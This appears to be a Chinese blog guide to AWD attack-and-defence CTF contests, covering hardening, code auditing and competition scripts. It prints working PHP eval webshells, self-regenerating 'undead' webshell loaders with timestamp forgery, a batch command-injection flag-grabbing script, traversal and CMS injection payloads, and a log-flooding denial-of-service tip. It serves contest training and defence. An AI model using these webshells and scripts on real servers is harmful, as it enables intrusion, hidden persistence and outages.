0x00 AWD简介
AWD(Attack with Defence),攻防对抗赛,一般是在一个C段网络下,有各自队伍维护的服务器,服务器上运行着Web站点、PWN服务或者其他服务。各队之间一边加固防御,一边攻击其他队伍,获取其他队伍的flag,并提交到flag机得分,自己的服务器被攻击拿到flag就会被扣分。
有种大混战的感觉,批量攻击也很重要。
比赛中也可能会有NPC,NPC不会修复,但是参赛队伍可以自己进行利用,对其进行修复应该也可以,根据赛制规定来就好。
比赛可能会给一定时间修复加固。
0x01 防御思路
1. 改密码
- SSH登录密码
passwd
输入passwd之后,输入一次旧密码,然后输入两次新密码即可。
新密码最好事先商量好,并且不是弱密,可以随机生成。
- 网站后台admin密码
直接网站后台修改管理原密码即可,但可能自己也不知道自己的网站后台密码是什么,可能需要先弱口令爆破,或者找到数据库进去查找(前提是数据库存储的不是哈希值,可能性不大),或者看网站有无提示。
- 数据库密码
改了的话网站配置文件也需要改,一般不需要。
修改数据库密码:
首先终端输入
vim /etc/my.cnf
在这个文件中的最后一行输入:skip-grant-tables
,然后保存退出,接着在终端输入
service mysqld restart
然后输入下述指令进入数据库
mysql -uroot -p
直接回车开始修改MySQL用户密码,接着输入
use mysql;
update user set password = password(“123456”)where user=’root’;
其中123456为新密码。
2. 备份
- 网站源码备份
方法一:ftp连接下载源码
其实也是用工具,打开工具Filezilla,输入主机ip地址(要用sftp协议,即输入sftp://ip
)、用户名、密码、端口,连接后直接找到网站根目录/var/www/html
,右键下载即可。
方法二:工具备份
使用MobaXterm工具ssh连接,然后左侧会显示站点目录,将网站根目录右键下载即可。
方法三:压缩命令备份
压缩命令
tar -zcvf www.tar.gz /var/www/*
解压命令
tar -zxvf www.tar.gz
- 数据库备份
数据库备份(输入下面命令后需要再输入数据库密码)
mysqldump -u root -p [数据库名]>[备份文件名].sql
mysqldump -u root -p blog > blog.sql
恢复
mysql -u root -p blog < blog.sql
或者进入mysql后输入以下命令
source blog.sql;
3. D盾查杀
下载源码下来,然后用D盾(Webshellkill.exe)查杀后门文件。
如果查到的话,需要上服务器删除或者加固,限制输入等。
如果查到的话也要及时跟进攻的队友沟通,拼手速利用起来刷一波分。
4. 加waf、文件监控、流量监控
进行下述操作后都应该习惯性不断地去看服务有没有挂,网站是否正常显示,是否check down。
- 通用waf
上个通用waf和批量刷通防的脚本两个文件。
批量通防一般准备两个版本,一个python,一个php版,服务器支持python就直接python生成,如果不行就用php版,需要访问激活。
通防需要控制好级别,对于什么样的流量需要作出什么反应,是die掉,还是只做记录,还是做重定向等,要根据check机制做相应处理。
- 文件监控
文件监控脚本需要在脚本部署好之后再开启,指定好目录,如果某个文件被修改就将其删除,保险起见最好先设置为记录或者恢复,而不是删除。
功能:备份运行文件监控脚本前所有文件,删除新增非自用文件,记录新增文件,知晓文件变动历史
- 流量监控
上流量监控脚本,一般通防都已经包含了流量监控记录了,但需要做好取舍,因为如果所有流量所有信息都记录可能会被DDoS攻击,导致内存超限而宕机。
功能:获得他人的攻击流量,木马密码等。
5. 防不死马
不死马就是不管怎么删除都会出现的后门,其背后一定有一个进程在不断生成它。
防不死马就几种方法。
- 生成一个和不死马同名的文件
rm .index.php;mkdir .index.php
直接终端输入一行命令进去,不要分两步,因为可能不死马生成速度很快,等手动输入第二句命令可能就同名冲突了。
- 执行另一段程序竞争写入无效内容到不死马文件中
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = 'Hello, world!'
while(true) {
file_put_contents($file, $code);
usleep(500);
}
?>
注意usleep()的时间必须比不死马生成的时间小,可以大概估摸一下,注意浏览器访问该文件进行激活。
- 杀进程
找到生成不死马的进程
ps -aux | grep shell.php
或者
ps auxww | grep shell.php
不一定是grep shell.php
,个人一般直接grep www
,然后看下有没有可疑的进程,但是一般很难看出,除非是用shell脚本开启的生成不死马进程,否则用这种访问php文件激活生成不死马程序的方式是很难发现的,因为显示的描述都是www-data用户开启的apache服务。
如果找到了进程,则将其进程id放在下面命令去执行。
kill -9 [pid]
例如:
kill -9 25536
也可以用php文件来杀进程,如下代码
<?php
while(1){
$pid=1111;
@unlink('.index.php');
exec('kill -9 $pid');
}
?>
注意修改pid,以及unlink()的是不死马文件名。
- 重启php服务
6. 代码审计
防御工作后面大部分时间就是代码审计了,代码审计很重要,有时还能转守为攻。
用seay代码审计工具审计网站代码,查找一些如SQL注入、命令执行、文件包含、文件上传等类型的漏洞,跟踪敏感函数等。后面展开细讲一下。
发现漏洞点要及时修补,最直接的方法加一些过滤限制,如过滤掉flag、敏感函数名等,还可以做一些强制类型转换,如:强制转换为int型,在转回str型。
一些php弱类型需要作调整,如:“==”号转为“===”。
暂时想到这些,以后有想到再单独记录。。。
0x02 攻击思路
扫完IP和服务,赶紧看看队友D盾扫描有没有发现什么网站后门,有的话赶紧利用起来,刷一波分。然后直接蚁剑、菜刀连接,进服务器种个不死马,然后再做其他代码审计挖洞等等。
1. 主机发现和端口扫描
- Nmap扫描
执行下面命令之前先在当前目录下生成ip.txt文件,文件写入待扫描的ip,如:192.168.43.1-255
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG result.txt -iL ip.txt
执行完将结果保存在result.txt中。
2. 站点目录扫描
- 御剑
- dirsearch(Linux工具)
./dirsearch.py -u 192.168.43.111 -e php
指定站点类型为php。
- 其他爆目录的工具……
3. 后台弱口令
Burpsuite+Firefox+FoxyPorxy(其他代理插件也可以),拦截抓包弱口令爆破。
一般后台账户都是admin。
也可以在网站发现是否有提示,如提供爆破密码等。
4. 命令执行
看看有无命令执行点,直接cat /flag
5. 文件包含、目录穿透
文件包含最明显的特征是url中包含类似php?file=xxxx
,那就可能存在文件包含。
目录穿透是可以直接php?file=../../../../../../../../../../../flag
读取到flag文件内容。
当然还有很多种情况,现在经验不多,见到或想到再继续积攒。
6. 文件上传
找到文件上传的地方很关键,因为上传的文件所在的目录有写权限。
当然上传可能会有很多限制,最不济上传一个jpg图片马,然后想办法改成php或者文件包含当做php执行。
7. sql注入
打的比赛还没有发现sql注入漏洞的,但如果可以注入的话除了脱库,还可以尝试sql写一句话webshell,可以利用sqlmap写。
8. 框架漏洞
最常见的如
- 博客网站plugins、theme文件包含一句话,通过修改文件,加入一句话即可连接。
- bluecms v1.6
ad_js.php sql注入;
http头注入;
编辑文件时文件包含;
宽字节注入。
- tomcat
8009端口ajp漏洞;
manage.html文件包含漏洞。
- jboss 命令执行RCE
- wordpress 外观(主题)编辑getshell
- redis 4.x/5.x RCE远程命令执行
exp:https://github.com/Ridter/redis-rce
需要python3.6版本以上,将input改为raw_input可以用python2.7运行。
- 魅力CMS
后台模板设置管理公司名称注入
%><%eval request(cmd)
保存后可以访问http://xxx.com/inc/config.asp处可以getshell。
9. 种不死马
拿到webshell之后,进入服务器要种不死马,我了解的有两种方式:
- shell脚本
在有写权限的目录下新建一个usr_bin_apache.sh(名字仅为了迷惑,自取),写入如下内容:
while true;
do echo '<?php if(md5($_POST[pass])=="8439ab786d9712478e98c6afe8d62c98"){@eval($_POST[a]);} ?>' >.index.php;
touch -m -d "2020-12-17 09:30:01" .index.php;
chmod +x .index.php;
sleep 5;
done;
时间自己改就行,目的是防止对方根据文件生成时间进行查杀。
不死马名称为.index.php。
连接方式为:http://xxx/xx.php,然后post参数pass=YXR0YWNr&a=system(ls);
,改参数a的值来执行系统命令。
- php文件激活
创建一个文件shell.php写入下面内容或者直接上传,注意要在有写权限的目录下激活,否则生成不了不死马。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = base64_decode('PD9waHAgaWYobWQ1KCRfUE9TVFtwYXNzXSk9PSI4NDM5YWI3ODZkOTcxMjQ3OGU5OGM2YWZlOGQ2MmM5OCIpe0BldmFsKCRfUE9TVFthXSk7fSA/Pg==');
while(true) {
if(md5(file_get_contents($file))!=md5($code)) {
file_put_contents($file, $code);
}
usleep(500);
}
?>
写完需要浏览器访问该shell.php文件进行激活,激活后会进入进程,然后把自动把shell.php文件删除。
不死马名称为.index.php。
连接方式为:http://xxx/xx.php,然后post参数pass=YXR0YWNr&a=system(ls);
,改参数a的值来执行系统命令。
0x03 代码审计
1. 代码审计的基本流程
-
体会网站整体结构
- 目录结构如何:后台目录、上传目录、功能函数目录、配置信息目录
- 入口文件
- 配置文件
- 功能模块
- 数据库结构
- 通过功能有指向性地分析
- 登录注册模块
- 文件上传模块
- 请求资源模块
- 信息反馈模块
- 输入过滤模块
- 抓住敏感函数进行回溯
- 代码执行
- 文件包含
- 系统命令执行
- 文件操作
- 魔法函数(反序列化等)
2. 代码审计的基本方法
- 通读源码审计法
通读源码,理解透彻整个业务逻辑,通过入口文件模块进行分析,把握网站整体结构
缺点是:对大程序的分析不友好
- 功能定向审计法
通过入口文件模块进行分析,浏览器访问应用功能,浏览器黑盒测试,白盒审计挖掘对应漏洞
- 敏感函数回溯审计法
发现敏感函数,追溯函数输入参数,尝试控制参数
审计工具:seay审计工具
3. php的配置文件
- php.ini 默认的配置文件,全局的配置文件
- .user.ini 用户级的配置文件,放在对应的目录下覆盖默认的配置
- .htaccess apache特有,同.user.ini
- http.conf apache特有,全局配置
4. 常见的重要配置
- short_open_tag = On 短标签 <?eval($_POST[1])?>
-
disabled_function = 禁用函数 上传webshell后绕过,蚁剑插件
- 文件上传相关配置
file_uploads = On
upload_max_filesize = 16M
upload_tmp_dir = /tmp
open_basedir = .:/tmp/ 允许访问的目录
- 调试信息配置
display_error = On 调试信息显示
error_reporting = E_ALL
- 文件包含配置
allow_url_fopen = On 文件打开/包含,默认允许打开远程文件,但是不允许包含
allow_url_include = On
5. 敏感函数
- 代码执行函数
- eval、assert 字符串作为php代码执行 assert($_GET[2];)
- preg_replace(pattern,string) /e修饰时,会将第二个参数作为php代码执行
- create_function() 匿名函数,代码注入
- call_user_func、call_user_func_array
- 文件包含函数
- require
- require_once
- include
- include_once
include $file 伪协议、过滤器
include($_GET['file'])
- 命令执行
- exec
- passthru
- proc_open
- shell_exec
- system
-
popen
- 文件操作
- copy 写shell可能用上
- file_get/put_contents
- file
- fopen
- move_file
- uploaded_file
- readfile
- rename
- rmdir
- unlink&delete 不死马
6. 最主要的几点
- 审计反序列化时,直接__destruct全局搜索,而后往下推进,查看是否存在可利用的参数与可利用的方法。
- 审计SQL注入时,一定要摒弃所有封装的外层直接查看最底层的SQL语句实现。
- 代码审计找的其实就是用户可控的参数与可控的函数。
0x04 小技巧
1. 如何完全获得www目录(即自己通过ssh连上靶机的用户)权限
一般来说,www目录下的权限为www-data用户的,这也是apache的权限,而我们则是一个新用户,比方说ubuntu,我们同这个www-data同处一个用户组,远程RCE写入的webshell可能无法被删除(ubuntu没法操作www-data的文件)所以获得自己对www目录的权限很重要。
加固阶段先备份www目录,然后rm -rf www(此时权限744)再重新上传自己的www,从而获得自己权限的www。
2. Apache错误日志写满硬盘使他人服务被down从而自己得分
Apache的权限叫普通用户较高,所以写入的文件无法被删除。
直接ddos访问错误路径写入log导致其他选手服务无法正常服务。
框架一般有日志,访问一个错误路径即可。
3. 给自己种不死马
apache的权限比普遍用户的权限较高,所以如果给自己种一个加密的不死马,在服务器被其他人提权后,还能拥有一定权限(www-data)可以在发生如上情况是及时止损。
0x05 工具
- Burpsuite 抓包改包工具
- FoxyProxy/SwitchyOmega 火狐浏览器代理设置工具
- dirsearch/御剑 目录爆破工具
- D盾(Webshellkill.exe) 查杀后门
- Seay代码审计工具
- 菜刀/蚁剑 后门连接工具
- phpstudy_pro windows本地php环境
- MobaXterm/SecureCRT/Putty SSH连接服务器后台,MobaXterm还有很多其他功能
- MobaXterm/Filezilla FTP连接工具
- Pycharm/VScode python调试工具
- Sublime Text 配置好python、php插件可以当做调试工具用,也可以当文本编辑器用,功能很强大
还有很多其他工具没有一一列举,以后遇到还有其他常用的再补充。
0x06 常见脚本
1. 一句话
<?php @eval($_POST[x]);?>
2. 生成不死马
php版生成不死马(记得浏览器访问该文件激活)
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = base64_decode('PD9waHAgaWYobWQ1KCRfR0VUW3hdKT09PSc4NDM5YWI3ODZkOTcxMjQ3OGU5OGM2YWZlOGQ2MmM5OCcpe2V2YWwoJF9QT1NUW2FdKTt9Pz4=');
while(true) {
if(md5(file_get_contents($file))!=md5($code)) {
file_put_contents($file, $code);
}
usleep(5000);
}
?>
shell版生成不死马
while true;
do echo '<?php if(md5($_POST[pass])=="8439ab786d9712478e98c6afe8d62c98"){@eval($_POST[a]);} ?>' >.index.php;
touch -m -d "2020-12-17 09:30:01" .index.php;
chmod +x .index.php;
sleep 5;
done;
需要执行命令sh test.sh
来激活。
3. 批量getflag
#!/usr/bin/env python
from __future__ import print_function
import sys
import json
import time
import requests
import re
import urllib3
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
try:
import httplib
except ImportError:
import http.client as httplib
server_host = '192.168.1.2' # 改成flag提交机的IP
server_port = 80 # 改成flag提交机的端口
team08_token = 'abcdefghijklmnopqrstuvwxyz123456' # 队伍token写在这里
if __name__ == '__main__':
#### 构造拿flag的url #######(当时比赛队伍的ip是192.168.201-212)
url_list = ['http://192.168.1.2%02d/manager?command=cat${IFS}/fla?' % i for i in range(1, 13)]
print(url_list)
# 这一块区域是构造url列表
#######################################
while True:
###### 这里写getflag代码 ######
flag_list = []
for url in url_list:
try:
# 这里写拿flag代码
rev = requests.get(url)
t = re.findall('(.*)', rev.text, re.S) # 注意修改正则匹配规则,这里当时是直接返回flag内容,只需要去掉最后的换行符即可
if t:
print('[+] ' + url + '的flag是' + t[0])
flag_list.append(t[0].strip())
except Exception as e:
print(url)
print(e)
###############################
# 提交flag,模拟curl -d "flag=xxx&token=xxx" 192.168.1.2/api/flag/submit
for flag in flag_list:
http = urllib3.PoolManager()
for flag in flag_list:
headers = {
"Content-type": "application/x-www-form-urlencoded"
}
rev = http.request('POST', 'http://192.168.1.2/api/flag/submit',
fields={'flag': flag, 'token': '55dM4d397p'}, headers=headers)
print(rev)
time.sleep(180) # 延时3分钟,可以设置跟flag刷新时间一致
4. 批量文件上传
关键代码
file = {
'pic': ('2.php': open('a.php', 'rb')),
'Content-Disposition': 'form-data',
'Content-Type': 'image/jpeg',
}
可参考:https://github.com/admintony/Prepare-for-AWD
5. 批量getshell
参考:https://github.com/admintony/Prepare-for-AWD
6. 通用waf
参考:https://github.com/admintony/Prepare-for-AWD
7. 批量上waf
php版install-waf.php
<?php
/**
* find the php file
* write the "include('waf.php')" in php file
*/
$_DEFAULT_PATH = '/var/www/html';
function find_php_file($web_root_path){
$cmd = 'find '.$web_root_path .' -name \'*.php\' > file';
system($cmd);
}
function install_waf($add_string){
$failed_list = array();
$file_string = file_get_contents('file');
$file_array = explode("\n", $file_string);
foreach ($file_array as $key => $value) {
if(strpos($value,'conf')){ // 匹配到文件名带有conf
$content = file_get_contents($value);
$content = str_replace("\r\n", "\n", $content);
$content = str_replace("\r", "\n", $content);
$new_content = $add_string.$content;
if(strlen($new_content) === file_put_contents($value, $new_content)){
echo '[+] add waf completed: '.$value."\n";
}else{
echo '[-] add waf failed: '.$value."\n";
array_push($failed_list, $value);
}
}
}
if(count($failed_list) === 0){
echo '[+] all choice file add waf successfully'."\n";
}else{
echo '[-] failed file:'."\n";
$res = implode("\n", $failed_list);
echo $res;
}
}
if(count($argv) > 1){
$web_root_path = $argv[1];
}
else{
$web_root_path = $_DEFAULT_PATH;
}
$add_strings = "<?php require_once('$web_root_path/waf.php'); ?>\n";
find_php_file($web_root_path);
install_waf($add_strings);
python版install-waf.py
# -*- conding:utf-8 -*-
#! /usr/bin/python
# find the php file
# write the "include('waf.php')" in php file
import os
import sys
DEFAULT_PATH = '/var/www/html/'
def find_php_file(web_root_path):
cmd = 'find {0} -name \'*.php\' > file'.format(web_root_path)
os.system(cmd)
def install_waf(add_strings,level='conf'):
fail_list = []
with open('file') as f:
s = f.read()
tmp_list = s.split('\n')
file_list = [i for i in tmp_list if len(i)>0]
for file in file_list:
if level == 'conf':
if level not in file:
continue
if 'waf.php' in file:
continue
try:
fr = open(file)
contents = fr.read()
fr.close()
new_contents = add_strings + contents
new_contents = new_contents.replace('\r\n','\n').replace('\r','\n')
fw = open(file,'wb')
fw.write(new_contents)
fw.close()
print('[+] add waf completed: ' + file)
except Exception,e:
print('[-] add waf failed: ' + file)
fail_list.append(file)
print e
if len(fail_list) == 0:
print('[+] all choice file add waf successfully')
else:
print('[-] failed file:')
print("\n".join(fail_list))
if __name__ == '__main__':
try:
web_root_path = sys.argv[1]
except:
web_root_path = DEFAULT_PATH
if os.path.isdir(web_root_path):
pass
else:
print(web_root_path,'is not exist!!!')
exit()
try:
print('choice: [1] all php file, [2] just config file')
level = raw_input('input the level num (default:all php file): ')
if int(level) == 1:
level = 'all'
else:
level = 'conf'
except:
level = 'conf'
add_strings = '<?php require_once(\'{0}waf.php\'); ?>\n'.format(web_root_path)
find_php_file(web_root_path)
install_waf(add_strings,level)
0x07 心得体会
手速很重要!!!发现漏洞之后就要一边拼手速把其他队伍的站点也秒了,一边要做好自己的防御,一边要赶紧写脚本或者改脚本进行批量利用。在最近的比赛中这方面吃了大亏,没有别人手快,亏了一轮分。
发现被攻击的时候,首先要冷静,检查waf是否上了,有没有防住;分析流量,看访问的是哪个文件;代码审计,仔细检查找到漏洞点,进行防御。
个人在比赛的时候有两个靶机,看大佬们先攻击到哪一台靶机,紧跟他们的步伐去重点分析。
赛后感觉流量分析太重要了,要是能早点上waf记录大佬们的攻击记录,光是重放就能瓜分好多分了。